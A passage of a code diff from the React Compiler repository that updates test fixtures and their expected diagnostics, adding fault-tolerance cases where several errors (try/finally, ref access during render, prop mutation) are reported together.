-  12 |   const g = {b() {}, c: () => {}};
-  13 |   const {z, aa = 'aa'} = useCustom();
-
-Todo: (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement
+Got ExpressionStatement.
 
 error.todo-kitchensink.ts:20:2
   18 |   const j = function bar([quz, qux], ...args) {};
@@ -125,103 +93,10 @@ error.todo-kitchensink.ts:20:2
 > 21 |     x.push(i);
      | ^^^^^^^^^^^^^^
 > 22 |   }
-     | ^^^^ (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement
+     | ^^^^ Expected a variable declaration
   23 |   for (; i < 3; ) {
   24 |     break;
   25 |   }
-
-Todo: (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement
-
-error.todo-kitchensink.ts:23:2
-  21 |     x.push(i);
-  22 |   }
-> 23 |   for (; i < 3; ) {
-     |   ^^^^^^^^^^^^^^^^^
-> 24 |     break;
-     | ^^^^^^^^^^
-> 25 |   }
-     | ^^^^ (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement
-  26 |   for (;;) {
-  27 |     break;
-  28 |   }
-
-Todo: (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement
-
-error.todo-kitchensink.ts:26:2
-  24 |     break;
-  25 |   }
-> 26 |   for (;;) {
-     |   ^^^^^^^^^^
-> 27 |     break;
-     | ^^^^^^^^^^
-> 28 |   }
-     | ^^^^ (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement
-  29 |
-  30 |   graphql`
-  31 |     ${g}
-
-Todo: (BuildHIR::lowerStatement) Handle empty test in ForStatement
-
-error.todo-kitchensink.ts:26:2
-  24 |     break;
-  25 |   }
-> 26 |   for (;;) {
-     |   ^^^^^^^^^^
-> 27 |     break;
-     | ^^^^^^^^^^
-> 28 |   }
-     | ^^^^ (BuildHIR::lowerStatement) Handle empty test in ForStatement
-  29 |
-  30 |   graphql`
-  31 |     ${g}
-
-Todo: (BuildHIR::lowerExpression) Handle tagged template with interpolations
-
-error.todo-kitchensink.ts:30:2
-  28 |   }
-  29 |
-> 30 |   graphql`
-     |   ^^^^^^^^
-> 31 |     ${g}
-     | ^^^^^^^^
-> 32 |   `;
-     | ^^^^ (BuildHIR::lowerExpression) Handle tagged template with interpolations
-  33 |
-  34 |   graphql`\\t\n`;
-  35 |
-
-Todo: (BuildHIR::lowerExpression) Handle tagged template where cooked value is different from raw value
-
-error.todo-kitchensink.ts:34:2
-  32 |   `;
-  33 |
-> 34 |   graphql`\\t\n`;
-     |   ^^^^^^^^^^^^^^ (BuildHIR::lowerExpression) Handle tagged template where cooked value is different from raw value
-  35 |
-  36 |   for (c of [1, 2]) {
-  37 |   }
-
-Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `MemberExpression` cannot be safely reordered
-
-error.todo-kitchensink.ts:57:9
-  55 |     case foo(): {
-  56 |     }
-> 57 |     case x.y: {
-     |          ^^^ (BuildHIR::node.lowerReorderableExpression) Expression type `MemberExpression` cannot be safely reordered
-  58 |     }
-  59 |     default: {
-  60 |     }
-
-Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `BinaryExpression` cannot be safely reordered
-
-error.todo-kitchensink.ts:53:9
-  51 |
-  52 |   switch (i) {
-> 53 |     case 1 + 1: {
-     |          ^^^^^ (BuildHIR::node.lowerReorderableExpression) Expression type `BinaryExpression` cannot be safely reordered
-  54 |     }
-  55 |     case foo(): {
-  56 |     }
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.expect.md

@@ -1,39 +0,0 @@
-
-## Input
-
-```javascript
-function useFoo(props: {value: {x: string; y: string} | null}) {
-  const value = props.value;
-  return createArray(value?.x, value?.y)?.join(', ');
-}
-
-function createArray<T>(...args: Array<T>): Array<T> {
-  return args;
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{value: null}],
-};
-
-```
-
-
-## Error
-
-```
-Found 1 error:
-
-Todo: Unexpected terminal kind `optional` for optional fallthrough block
-
-error.todo-optional-call-chain-in-optional.ts:3:21
-  1 | function useFoo(props: {value: {x: string; y: string} | null}) {
-  2 |   const value = props.value;
-> 3 |   return createArray(value?.x, value?.y)?.join(', ');
-    |                      ^^^^^^^^ Unexpected terminal kind `optional` for optional fallthrough block
-  4 | }
-  5 |
-  6 | function createArray<T>(...args: Array<T>): Array<T> {
-```
-          
-      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.expect.md

@@ -21,7 +21,7 @@ function Component({foo}) {
 ## Error
 
 ```
-Found 1 error:
+Found 3 errors:
 
 Todo: Support destructuring of context variables
 
@@ -29,10 +29,34 @@ error.todo-reassign-const.ts:3:20
   1 | import {Stringify} from 'shared-runtime';
   2 |
 > 3 | function Component({foo}) {
-    |                     ^^^ Support destructuring of context variables
+    |                     ^^^
   4 |   let bar = foo.bar;
   5 |   return (
   6 |     <Stringify
+
+Todo: Support destructuring of context variables
+
+error.todo-reassign-const.ts:3:20
+  1 | import {Stringify} from 'shared-runtime';
+  2 |
+> 3 | function Component({foo}) {
+    |                     ^^^
+  4 |   let bar = foo.bar;
+  5 |   return (
+  6 |     <Stringify
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.todo-reassign-const.ts:8:8
+   6 |     <Stringify
+   7 |       handler={() => {
+>  8 |         foo = true;
+     |         ^^^ `foo` cannot be modified
+   9 |       }}
+  10 |     />
+  11 |   );
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.useMemo-callback-generator.expect.md

@@ -18,7 +18,7 @@ function component(a, b) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Todo: (BuildHIR::lowerExpression) Handle YieldExpression expressions
 
@@ -30,6 +30,23 @@ error.useMemo-callback-generator.ts:6:4
   7 |   }, []);
   8 |   return x;
   9 | }
+
+Error: useMemo() callbacks may not be async or generator functions
+
+useMemo() callbacks are called once and must synchronously return a value.
+
+error.useMemo-callback-generator.ts:5:18
+   3 |   // useful for now, but adding this test in case we do
+   4 |   // add support for generators in the future.
+>  5 |   let x = useMemo(function* () {
+     |                   ^^^^^^^^^^^^^^
+>  6 |     yield a;
+     | ^^^^^^^^^^^^
+>  7 |   }, []);
+     | ^^^^ Async and generator functions are not supported
+   8 |   return x;
+   9 | }
+  10 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.expect.md

@@ -3,8 +3,10 @@
 
 ```javascript
 // @validateRefAccessDuringRender:true
+import {mutate} from 'shared-runtime';
+
 function Foo(props, ref) {
-  console.log(ref.current);
+  mutate(ref.current);
   return <div>{props.bar}</div>;
 }
 
@@ -26,14 +28,14 @@ Error: Cannot access refs during render
 
 React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
 
-error.validate-mutate-ref-arg-in-render.ts:3:14
-  1 | // @validateRefAccessDuringRender:true
-  2 | function Foo(props, ref) {
-> 3 |   console.log(ref.current);
-    |               ^^^^^^^^^^^ Passing a ref to a function may read its value during render
-  4 |   return <div>{props.bar}</div>;
-  5 | }
-  6 |
+error.validate-mutate-ref-arg-in-render.ts:5:9
+  3 |
+  4 | function Foo(props, ref) {
+> 5 |   mutate(ref.current);
+    |          ^^^^^^^^^^^ Passing a ref to a function may read its value during render
+  6 |   return <div>{props.bar}</div>;
+  7 | }
+  8 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.js

@@ -1,6 +1,8 @@
 // @validateRefAccessDuringRender:true
+import {mutate} from 'shared-runtime';
+
 function Foo(props, ref) {
-  console.log(ref.current);
+  mutate(ref.current);
   return <div>{props.bar}</div>;
 }
 

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.expect.md

@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    doCleanup();
+  }
+
+  // Error: mutating frozen props
+  props.value = 1;
+
+  return <div>{props.value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.try-finally-and-mutation-of-props.ts:9:2
+   7 | function Component(props) {
+   8 |   // Error: try/finally (Todo from BuildHIR)
+>  9 |   try {
+     |   ^^^^^
+> 10 |     doWork();
+     | ^^^^^^^^^^^^^
+> 11 |   } finally {
+     | ^^^^^^^^^^^^^
+> 12 |     doCleanup();
+     | ^^^^^^^^^^^^^
+> 13 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  14 |
+  15 |   // Error: mutating frozen props
+  16 |   props.value = 1;
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.try-finally-and-mutation-of-props.ts:16:2
+  14 |
+  15 |   // Error: mutating frozen props
+> 16 |   props.value = 1;
+     |   ^^^^^ value cannot be modified
+  17 |
+  18 |   return <div>{props.value}</div>;
+  19 | }
+```
+          
+      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.js

@@ -0,0 +1,19 @@
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    doCleanup();
+  }
+
+  // Error: mutating frozen props
+  props.value = 1;
+
+  return <div>{props.value}</div>;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.expect.md

@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doSomething();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return <div>{value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.try-finally-and-ref-access.ts:12:2
+  10 |
+  11 |   // Error: try/finally (Todo from BuildHIR)
+> 12 |   try {
+     |   ^^^^^
+> 13 |     doSomething();
+     | ^^^^^^^^^^^^^^^^^^
+> 14 |   } finally {
+     | ^^^^^^^^^^^^^^^^^^
+> 15 |     cleanup();
+     | ^^^^^^^^^^^^^^^^^^
+> 16 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  17 |
+  18 |   // Error: reading ref during render
+  19 |   const value = ref.current;
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.try-finally-and-ref-access.ts:19:16
+  17 |
+  18 |   // Error: reading ref during render
+> 19 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  20 |
+  21 |   return <div>{value}</div>;
+  22 | }
+```
+          
+      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.js

@@ -0,0 +1,22 @@
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doSomething();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return <div>{value}</div>;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.expect.md

@@ -0,0 +1,86 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: three independent errors should all be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ * Error 3 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen props
+  props.items = [];
+
+  return <div>{value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.try-finally-ref-access-and-mutation.ts:13:2
+  11 |
+  12 |   // Error: try/finally (Todo from BuildHIR)
+> 13 |   try {
+     |   ^^^^^
+> 14 |     doWork();
+     | ^^^^^^^^^^^^^
+> 15 |   } finally {
+     | ^^^^^^^^^^^^^
+> 16 |     cleanup();
+     | ^^^^^^^^^^^^^
+> 17 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  18 |
+  19 |   // Error: reading ref during render
+  20 |   const value = ref.current;
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.try-finally-ref-access-and-mutation.ts:23:2
+  21 |
+  22 |   // Error: mutating frozen props
+> 23 |   props.items = [];
+     |   ^^^^^ value cannot be modified
+  24 |
+  25 |   return <div>{value}</div>;
+  26 | }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.try-finally-ref-access-and-mutation.ts:20:16
+  18 |
+  19 |   // Error: reading ref during render
+> 20 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  21 |
+  22 |   // Error: mutating frozen props
+  23 |   props.items = [];
+```
+          
+      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.js

@@ -0,0 +1,26 @@
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: three independent errors should all be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ * Error 3 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen props
+  props.items = [];
+
+  return <div>{value}</div>;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.expect.md

@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: var declaration (Todo from BuildHIR)
+  var items = props.items;
+
+  // Error: mutating frozen props (detected during inference)
+  props.items = [];
+
+  return <div>{items.length}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+
+error.var-declaration-and-mutation-of-props.ts:9:2
+   7 | function Component(props) {
+   8 |   // Error: var declaration (Todo from BuildHIR)
+>  9 |   var items = props.items;
+     |   ^^^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+  10 |
+  11 |   // Error: mutating frozen props (detected during inference)
+  12 |   props.items = [];
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.var-declaration-and-mutation-of-props.ts:12:2
+  10 |
+  11 |   // Error: mutating frozen props (detected during inference)
+> 12 |   props.items = [];
+     |   ^^^^^ value cannot be modified
+  13 |
+  14 |   return <div>{items.length}</div>;
+  15 | }
+```
+          
+      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.js

@@ -0,0 +1,15 @@
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: var declaration (Todo from BuildHIR)
+  var items = props.items;
+
+  // Error: mutating frozen props (detected during inference)
+  props.items = [];
+
+  return <div>{items.length}</div>;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.expect.md

@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: var declaration (Todo from BuildHIR)
+  var items = [1, 2, 3];
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return (
+    <div>
+      {value}
+      {items.length}
+    </div>
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+
+error.var-declaration-and-ref-access.ts:12:2
+  10 |
+  11 |   // Error: var declaration (Todo from BuildHIR)
+> 12 |   var items = [1, 2, 3];
+     |   ^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+  13 |
+  14 |   // Error: reading ref during render
+  15 |   const value = ref.current;
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.var-declaration-and-ref-access.ts:15:16
+  13 |
+  14 |   // Error: reading ref during render
+> 15 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  16 |
+  17 |   return (
+  18 |     <div>
+```
+          
+      

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.js

@@ -0,0 +1,23 @@
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: var declaration (Todo from BuildHIR)
+  var items = [1, 2, 3];
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return (
+    <div>
+      {value}
+      {items.length}
+    </div>
+  );
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.expect.md

@@ -50,7 +50,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-Found 1 error:
+Found 4 errors:
 
 Todo: Support local variables named `fbt`
 
@@ -60,10 +60,49 @@ error.todo-fbt-as-local.ts:18:19
   16 |
   17 | function Foo(props) {
 > 18 |   const getText1 = fbt =>
-     |                    ^^^ Rename to avoid conflict with fbt plugin
+     |                    ^^^ Support local variables named `fbt`
   19 |     fbt(
   20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
   21 |       '(description) Greeting'
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:18:19
+  16 |
+  17 | function Foo(props) {
+> 18 |   const getText1 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  19 |     fbt(
+  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+  21 |       '(description) Greeting'
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:18:19
+  16 |
+  17 | function Foo(props) {
+> 18 |   const getText1 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  19 |     fbt(
+  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+  21 |       '(description) Greeting'
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:24:19
+  22 |     );
+  23 |
+> 24 |   const getText2 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  25 |     fbt(
+  26 |       `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,
+  27 |       '(description) Greeting2'
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.expect.md

@@ -16,17 +16,15 @@ function Component(props) {
 ```
 Found 1 error:
 
-Todo: Support local variables named `fbt`
+Invariant: <fbt> tags should be module-level imports
 
-Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
-
-error.todo-locally-require-fbt.ts:2:8
-  1 | function Component(props) {
-> 2 |   const fbt = require('fbt');
-    |         ^^^ Rename to avoid conflict with fbt plugin
+error.todo-locally-require-fbt.ts:4:10
+  2 |   const fbt = require('fbt');
   3 |
-  4 |   return <fbt desc="Description">{'Text'}</fbt>;
+> 4 |   return <fbt desc="Description">{'Text'}</fbt>;
+    |           ^^^ <fbt> tags should be module-level imports
   5 | }
+  6 |
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.expect.md

@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+// Bug: NewExpression default param value should not prevent set-state-in-effect validation
+function Component({value = new Number()}) {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+// Bug: NewExpression default param value should not prevent set-state-in-effect validation
+function Component({ value = new Number() }) {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState((s) => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":313},"end":{"line":8,"column":12,"index":321},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":203},"end":{"line":11,"column":1,"index":358},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.js

@@ -0,0 +1,11 @@
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+// Bug: NewExpression default param value should not prevent set-state-in-effect validation
+function Component({value = new Number()}) {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.expect.md

@@ -42,7 +42,7 @@ function Component() {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot reassign variable after render completes
 
@@ -56,6 +56,27 @@ error.invalid-reassign-local-variable-in-jsx-callback.ts:6:4
   7 |   };
   8 |
   9 |   const onClick = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:32:26
+  30 |   };
+  31 |
+> 32 |   return <button onClick={onClick}>Submit</button>;
+     |                           ^^^^^^^ This function may (indirectly) reassign or modify `local` after render
+  33 | }
+  34 |
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:6:4
+  4 |
+  5 |   const reassignLocal = newValue => {
+> 6 |     local = newValue;
+    |     ^^^^^ This modifies `local`
+  7 |   };
+  8 |
+  9 |   const onClick = newValue => {
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.expect.md

@@ -31,7 +31,7 @@ function Component({content, refetch}) {
 ## Error
 
 ```
-Found 1 error:
+Found 2 errors:
 
 Error: Cannot access variable before it is declared
 
@@ -52,6 +52,18 @@ Error: Cannot access variable before it is declared
   20 |
   21 |   return <Foo data={data} onSubmit={onSubmit} />;
   22 | }
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+   9 |   // TDZ violation!
+  10 |   const onRefetch = useCallback(() => {
+> 11 |     refetch(data);
+     |             ^^^^ Missing dependency `data`
+  12 |   }, [refetch]);
+  13 |
+  14 |   // The context variable gets frozen here since it's passed to a hook
 ```
           
       

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.expect.md

@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+// @flow
+import {PanResponder, Stringify} from 'shared-runtime';
+
+export default component Playground() {
+  const onDragEndRef = useRef(() => {});
+  useEffect(() => {
+    onDragEndRef.current = () => {
+      console.log('drag ended');
+    };
+  });
+  const panResponder = useMemo(
+    () =>
+      PanResponder.create({
+        onPanResponderTerminate: () => {
+          onDragEndRef.current();
+        },
+      }),
+    []
+  );
+  return <Stringify responder={panResponder} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { PanResponder, Stringify } from "shared-runtime";
+
+export default function Playground() {
+  const $ = _c(3);
+  const onDragEndRef = useRef(_temp);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      onDragEndRef.current = _temp2;
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  useEffect(t0);
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = PanResponder.create({
+      onPanResponderTerminate: () => {
+        onDragEndRef.current();
+      },
+    });
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const panResponder = t1;
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Stringify responder={panResponder} />;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  return t2;
+}
+function _temp2() {
+  console.log("drag ended");
+}
+function _temp() {}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/panresponder-ref-in-callback.js

@@ -0,0 +1,21 @@
+// @flow
+import {PanResponder, Stringify} from 'shared-runtime';
+
+export default component Playground() {
+  const onDragEndRef = useRef(() => {});
+  useEffect(() => {
+    onDragEndRef.current = () => {
+      console.log('drag ended');
+    };
+  });
+  const panResponder = useMemo(
+    () =>
+      PanResponder.create({
+        onPanResponderTerminate: () => {
+          onDragEndRef.current();
+        },
+      }),
+    []
+  );
+  return <Stringify responder={panResponder} />;
+}

compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-call-chain-in-optional.expect.md

@@ -1,40 +0,0 @@
-
-## Input
-
-```javascript
-// @enablePropagateDepsInHIR
-function useFoo(props: {value: {x: string; y: string} | null}) {
-  const value = props.value;
-  return createArray(value?.x, value?.y)?.join(', ');
-}
-
-function createArray<T>(...args: Array<T>): Array<T> {
-  return args;
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{value: null}],
-};
-
-```
-
-
-## Error
-
-```
-Found 1 error:
-
-Todo: Unexpected terminal kind `optional` for optional fallthrough block
-
-error.todo-optional-call-chain-in-optional.ts:4:21
-  2 | function useFoo(props: {value: {x: string; y: string} | null}) {
-  3 |   const value = props.value;
-> 4 |   return createArray(value?.x, value?.y)?.join(', ');
